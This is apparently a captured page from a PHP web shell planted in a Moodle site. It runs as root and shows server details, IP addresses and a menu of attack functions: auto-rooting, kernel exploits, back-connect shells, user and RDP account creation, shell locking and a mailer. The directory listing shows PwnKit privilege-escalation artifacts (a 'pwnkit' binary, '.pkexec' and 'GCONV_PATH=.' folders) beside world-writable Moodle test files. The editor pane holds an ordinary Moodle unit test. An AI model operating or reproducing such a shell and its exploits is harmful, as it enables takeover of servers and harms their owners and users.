Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
moodle /
mod /
lesson /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
generator
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
events_test.php
22.63
KB
-rwxrwxrwx
external_test.php
60.46
KB
-rwxrwxrwx
generator_test.php
10.88
KB
-rwxrwxrwx
lib_test.php
43.88
KB
-rwxrwxrwx
locallib_test.php
10.51
KB
-rwxrwxrwx
numeric_helper_test.php
5.29
KB
-rwxrwxrwx
pagetypes_test.php
3.05
KB
-rwxrwxrwx
privacy_test.php
42.42
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
restore_date_test.php
7.44
KB
-rwxrwxrwx
restore_override_test.php
3.89
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : pagetypes_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for page types classes * * @package mod_lesson * @category test * @copyright 2015 Jean-Michel Vedrine * @license http://www.gnu.org/copyleft/gpl.html GNU Public License */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/lesson/locallib.php'); require_once($CFG->dirroot . '/mod/lesson/pagetypes/essay.php'); /** * This class contains the test cases for some of the functions in the lesson essay page type class. * * @copyright 2015 Jean-Michel Vedrine * @license http://www.gnu.org/copyleft/gpl.html GNU Public License */ class mod_lesson_essay_page_type_test extends advanced_testcase { public function test_lesson_essay_extract_useranswer() { // Test that reponseformat is added when not present. $answer = 'O:8:"stdClass":6:{s:4:"sent";i:1;s:6:"graded";i:1;s:5:"score";s:1:"1";' . 's:6:"answer";s:64:"<p>This is my answer <b>with bold</b> and <i>italics</i><br></p>";' . 's:12:"answerformat";s:1:"1";s:8:"response";s:10:"Well done!";}'; $userresponse = new stdClass; $userresponse->sent = 1; $userresponse->graded = 1; $userresponse->score = 1; $userresponse->answer = "<p>This is my answer <b>with bold</b> and <i>italics</i><br></p>"; $userresponse->answerformat = FORMAT_HTML; $userresponse->response = "Well done!"; $userresponse->responseformat = FORMAT_HTML; $this->assertEquals($userresponse, lesson_page_type_essay::extract_useranswer($answer)); // Test that reponseformat is not modified when present. $answer = 'O:8:"stdClass":7:{s:4:"sent";i:0;s:6:"graded";i:1;s:5:"score";s:1:"0";' . 's:6:"answer";s:64:"<p>This is my answer <b>with bold</b> and <i>italics</i><br></p>";' . 's:12:"answerformat";s:1:"1";s:8:"response";s:10:"Well done!";s:14:"responseformat";s:1:"2";}'; $userresponse = new stdClass; $userresponse->sent = 0; $userresponse->graded = 1; $userresponse->score = 0; $userresponse->answer = "<p>This is my answer <b>with bold</b> and <i>italics</i><br></p>"; $userresponse->answerformat = FORMAT_HTML; $userresponse->response = "Well done!"; $userresponse->responseformat = FORMAT_PLAIN; $this->assertEquals($userresponse, lesson_page_type_essay::extract_useranswer($answer)); } }
Close